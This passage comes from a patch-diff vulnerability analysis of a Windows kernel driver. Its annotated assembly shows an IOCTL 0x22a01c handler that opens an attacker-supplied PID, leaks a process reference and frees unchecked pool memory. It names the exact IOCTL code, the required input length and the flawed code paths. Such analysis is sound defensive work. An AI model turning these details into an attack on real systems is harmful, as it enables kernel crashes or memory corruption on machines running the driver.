&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;DamK&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// FIX: guarded free&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched vulnerable path (key instructions)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- IOCTL dispatch: the code is a subtraction chain over eax = IoControlCode ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a41a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; IoControlCode&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a41e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;226004&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a424:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; InputBufferLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a427:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a434:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; - 0x226004&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a437:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A79A&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a43d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a440:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A748&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a446:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;FF4h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a44b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A79A&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a451:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; cumulative subtrahend = 0x22a01c&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a454:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A592&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; IOCTL 0x22a01c handler&lt;/span&gt;

&lt;span class="c1"&gt;; ---- 0x22a01c handler @ loc_1C000A592: InputBufferLength check ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a592:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; must be 8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a595:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A760&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a59b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xorps&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; zero OBJECT_ATTRIBUTES fields&lt;/span&gt;

&lt;span class="c1"&gt;; ---- ClientId.UniqueProcess &amp;lt;- attacker PID; ZwOpenProcess(0x1FFFFF) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5c9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;FFFFFh&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; PROCESS_ALL_ACCESS&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5ce:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; PID (DWORD from SystemBuffer)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5d0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; DesiredAccess&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5d2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;ClientId.UniqueProcess&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5d6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ZwOpenProcess&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5e2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5e4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5e6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A8C2&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; bail if failed&lt;/span&gt;

&lt;span class="c1"&gt;; ---- ObReferenceObjectByHandleWithTag — OBTAINS THE LEAKED REFERENCE ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5fb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B6D6144h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; tag &amp;#39;DamK&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a612:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;E0h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Tag&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a616:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObReferenceObjectByHandleWithTag&lt;/span&gt;
&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="c1"&gt;; PEPROCESS output stored in [rbp+57h+arg_10]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a622:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a624:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a626:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A63D&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; NEVER dereferenced on any path below!&lt;/span&gt;

&lt;span class="c1"&gt;; ---- ExAllocatePoolWithTag — NO NULL CHECK ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6a7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; len&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; tag &amp;#39;DamK&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ad:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; PagedPool&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6b2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6c9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; P = rax (may be NULL)&lt;/span&gt;
&lt;span class="c1"&gt;; *** MISSING: test rax, rax / jz ***&lt;/span&gt;

&lt;span class="c1"&gt;; ---- PsQueryProcessCommandLine(P) — NULL-DEREF SINK ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6c5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; the PEPROCESS&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6d0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; P  &amp;lt;-- if 0, kernel writes through 0x0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6d8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_PsQueryProcessCommandLine&lt;/span&gt;

&lt;span class="c1"&gt;; ---- ExFreePoolWithTag — UNCONDITIONAL (undefined on NULL) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ea:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; tag &amp;#39;DamK&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ec:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; P (may be NULL)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ef:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;

&lt;span class="c1"&gt;; ---- ZwClose — only the HANDLE is closed ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a628:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Handle&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a62c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ZwClose&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a638:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A8C2&lt;/span&gt;
&lt;span class="c1"&gt;; *** MISSING ObfDereferenceObject on the PEPROCESS — REFERENCE LEAK ***&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a8c4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;IoStatus.Status&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a8c8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; Irp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a8cb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCompleteRequest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched correction points&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- PsLookupProcessByProcessId replaces the ZwOpenProcess + ObReference chain ----&lt;/span&gt;
